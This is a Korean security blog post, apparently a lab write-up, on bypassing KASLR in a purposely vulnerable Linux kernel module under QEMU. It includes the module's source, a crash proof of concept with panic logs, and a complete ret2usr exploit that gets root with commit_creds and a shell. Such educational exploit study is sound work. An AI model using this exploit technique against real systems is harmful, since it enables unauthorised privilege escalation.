[Research] Linux Kernel Exploit - Bypassing KASLR

[Research] Linux Kernel Exploit - Bypassing KASLR

서론

해당 포스트에서는 Linux Kernel Basic 시리즈의 정보를 기반으로 하여 리눅스 커널에 적용되어 있는 보호기법(mitigation)을 하나씩 우회하여 exploit하는 과정을 포스트하려고 한다. 해당 포스트에서는 KASLR을 기반으로 하여 Exploit하는 과정을 작성하려고 한다.



환경분석

start.sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

qemu를 실행시키는 스크립트를 살펴보면 해당 시스템에는 kaslr이 적용되어 있으며 다른 mitigation은 적용되어 있지 않다.



바이너리 분석

디바이스 드라이버 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <linux/input.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("SAMPLE");

static ssize_t test_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos);
static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos);

struct file_operations test_fops = {
.read = test_read,
.write = test_write,
};

static struct miscdevice test_driver = {
.minor = MISC_DYNAMIC_MINOR,
.name = "test",
.fops = &test_fops,
};

static ssize_t test_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) {
void *ptr = &printk;

copy_to_user(buf, &ptr, sizeof(ptr));

return 0;
}

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
int (*fp_exec)(void) = 0;

copy_from_user(&fp_exec, buf, sizeof(fp_exec));

fp_exec();

return 0;
}


static int test_init(void) {
int result;

result = misc_register(&test_driver);

return 0;
}

static void test_exit(void) {
misc_deregister(&test_driver);
}

module_init(test_init);
module_exit(test_exit);

해당 소스코드의 경우 공격 벡터(attack vector)가 될 수 있는 디바이스 드라이버 파일의 소스코드이다. 소스코드를 확인해볼 경우 file_operations 구조체 내부에서 read, write 시스템 콜에 대응하는 동작들을 정의하고 있다.

디바이스 드라이버 파일을 토대로 read 시스템 콜을 호출하게 될 경우 test_read() 함수가 실행된다. 해당 함수가 실행될 경우 printk() 함수의 주소가 유저공간에 복사된다. 이를 토대로 유저공간의 사용자는 printk() 함수의 주소를 알 수 있다.

디바이스 드라이버 파일을 토대로 write 시스템 콜을 호출하게 될 경우 test_write() 함수가 실행된다. 해당 함수가 실행될 경우 line38, line40에서 사용자로부터 특정 주소를 전달받고 해당 주소를 실행시키는 로직을 확인할 수 있다.



취약점 분석

바이너리 분석에서 사용자의 입력으로 부터 실행흐름을 변조할 수 있음을 확인하였다. 해당 디바이스 드라이버를 토대로 write 시스템 콜이 호출되게 될 경우 디바이스 드라이버의 경우 사용자의 입력(untrusted input)을 실행하게 되기 때문이다. 해당 디바이스 드라이버 파일에 write를 진행함으로써 다음이 진행되는지 확인해볼 필요가 있다.


공격 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>


int main() {
int fd;
void *ptr = 0x4141414141414141;

fd = open("/dev/test", O_RDWR);

write(fd, &ptr, sizeof(ptr));

close(fd);

return 0;
}

디바이스 드라이버를 제어하는 코드를 작성하였다. 유저영역에서 전달하는 값의 경우는 0x414141414141이다. 앞서 제시한 취약한 디바이스 드라이버를 이용하여 write를 호출하며 0x414141414141의 주소의 경우는 정상적이지 않은 주소이기 때문에 kernel panic이 발생한다면 실행흐름을 변조할 수 있는 취약점으로 볼 수 있다.

공격 결과

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ./exploit 
[    6.388318] general protection fault: 0000 [#1] SMP NOPTI
[    6.392270] CPU: 0 PID: 69 Comm: exploit Tainted: G           O      5.8.5 #1
[    6.393697] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    6.395480] RIP: 0010:0x4141414141414141
[    6.396274] Code: Bad RIP value.
[    6.396944] RSP: 0018:ffff9654c019feb8 EFLAGS: 00000246
[    6.397924] RAX: 4141414141414141 RBX: 0000000000000008 RCX: 0000000000000000
[    6.398380] RDX: 0000000000000000 RSI: 00007ffc01fb93a8 RDI: ffff9654c019fec8
[    6.398853] RBP: ffff8cf1df9a8a00 R08: 4141414141414141 R09: 0000000000000000
[    6.399308] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[    6.399802] R13: 0000000000000008 R14: ffff9654c019ff10 R15: 00007ffc01fb93a0
[    6.400302] FS:  0000000000e4c880(0000) GS:ffff8cf1dec00000(0000) knlGS:0000000000000000
[    6.400912] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    6.401297] CR2: 0000000000459f30 CR3: 000000001f9fc000 CR4: 00000000000006f0
[    6.401865] Call Trace:
[    6.404432]  ? test_write+0x32/0x50 [test]
[    6.409471]  ? vfs_write+0xc2/0x1f0
[    6.410200]  ? ksys_write+0x5a/0xd0
[    6.410888]  ? do_syscall_64+0x3e/0x70
[    6.411626]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    6.412496] Modules linked in: test(O)
[    6.414119] ---[ end trace f59244d06c1a65c1 ]---
[    6.415131] RIP: 0010:0x4141414141414141
[    6.415955] Code: Bad RIP value.
[    6.416379] RSP: 0018:ffff9654c019feb8 EFLAGS: 00000246
[    6.416846] RAX: 4141414141414141 RBX: 0000000000000008 RCX: 0000000000000000
[    6.417422] RDX: 0000000000000000 RSI: 00007ffc01fb93a8 RDI: ffff9654c019fec8
[    6.418102] RBP: ffff8cf1df9a8a00 R08: 4141414141414141 R09: 0000000000000000
[    6.418809] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[    6.419337] R13: 0000000000000008 R14: ffff9654c019ff10 R15: 00007ffc01fb93a0
[    6.419817] FS:  0000000000e4c880(0000) GS:ffff8cf1dec00000(0000) knlGS:0000000000000000
[    6.420320] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    6.420804] CR2: 0000000000459f30 CR3: 000000001f9fc000 CR4: 00000000000006f0
[    6.421417] Kernel panic - not syncing: Fatal exception
[    6.422862] Kernel Offset: 0x2e800000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[    6.424059] Rebooting in 1 seconds..
qemu-system-x86_64: Trying to execute code outside RAM or ROM at 0x00000000afc00220
This usually means one of the following happened:

(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine)
(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end
(3) Your guest kernel has a bug and crashed by jumping off into nowhere

This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine.
If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point.

Execution cannot continue; stopping here.

예상했던 결과와 동일하게 커널 패닉(kernel panic)이 발생하였으며 RIP가 0x414141414141414141로 변조되었음을 확인할 수 있다.



취약점 공격

분석과정을 통해 현재 kernel 함수의 주소를 알 수 있으며 실행흐름을 변조할 수 있음을 확인했다. 이러한 정보들을 토대로 공격자에게 유의미한 형태의 공격이 될 수 있도록 어떠한 형태로 공격을 진행할 것인가에 대해서 시나리오를 작성하겠다.

가장 파급력있고 공격자에게 자유도가 높은 방법은 리눅스(linux) 기반의 커널을 공격하는 것이기에 루트 권한의 쉘(shell)을 획득하는 것으로 볼 수 있다. 다음과 같은 공격이 이루어지기 위해서는 우선적으로 진행되어야 하는 것이 유저 권한을 루트 권한으로 상승(권한 상승)을 일으켜야 한다. 다음 단계로 공격자가 쉘을 사용할 수 있도록 쉘이 실행되어야 한다. 다음을 시나리오로 정리해보겠다.

공격 시나리오

STEP1. 커널 릭(kernel leak)을 통한 권한상승 함수 주소 정보 획득
STEP2. commit_creds(prepare_kernel_cred(0))을 통한 권한 상승
STEP3. 사용자 모드(user mode)로의 전환
STEP4. shell 획득

다음의 시나리오에서 이전 포스트에서 언급을 하지 않았었던 부분이 있다. STEP3에 해당하는 부분이다. 다음과 같은 과정을 수행하게 될 경우 STEP2를 수행하기 위해서 커널 모드(kernel mode)로 전환될 것이며 커널 모드에서 system 함수를 호출하게 될 경우 커널 패닉이 발생한다. 그러한 이유로 사용자 모드(user mode)로의 전환이 필요한 것이다.


  • RIP
  • RSP
  • RFLAGS
  • CS
  • SS

이러한 과정을 수행하기 위해서 작성할 익스플로잇 코드에서는 swapgs를 수행한 후 iret을 수행하려고 한다. iret를 실행할 경우 CPU는 스택에 저장해두었던 값을 이용하여 실행 상태를 복구한다. 이 때의 저장해야 하는 정보는 다음과 같다. 해당 레지스터를 저장해두며 복구하여 사용자모드로 전환하는 형태의 코드도 포함되어야 한다.


또한 디바이스 파일에 read()를 통해서 printk() 함수의 주소를 유출할 수 있다. 해당 주소를 통해 커널 베이스(kernel base)를 확인할 경우 0xbedb9 offset만큼 떨어진 형태를 보인다. 결과적으로 kernel base의 주소는 &printk() - 0xbedb9이다. 커널 베이스 주소를 통해서 commit_creds의 주소와 prepare_kernel_cred의 주소를 구할 수 있으며 이를 통해 권한상승을 일으킬 수 있다. 이러한 과정을 모두 포함하여 작성한 익스플로잇은 다음과 같다.


Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void shell(void) {
execl("/bin/sh", "sh", NULL);
}

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
rv.user_rip = &shell;
}

void payload(void) {
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&rv));
}

int main() {
int fd;
void *ptr = 0;
void *leak = 0;
void *kbase = 0;

fd = open("/dev/test", O_RDWR);

read(fd, &leak, 0);
printf("leak : %p\n", leak);

kbase = leak - 0xbedb9;
commit_creds = kbase + 0x8e9f0;
prepare_kernel_cred = kbase + 0x8ec20;

ptr = &payload;

backup_rv();

write(fd, &ptr, sizeof(ptr));

close(fd);

return 0;
}

공격결과

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ whoami
user
/ $ ./exploit 
leak : 0xffffffffb5ebedb9
/ # whoami
root
/ # 

참고

b30w0lf님의 운영체제(Operating System)
DREAMHACK - Linux Kernel Exploit
INFLEARN - 리눅스 커널 해킹. A부터 Z까지

한줄평

과연 이러한 공격을 막을 수 있는 방법은 무엇일까 고민해보자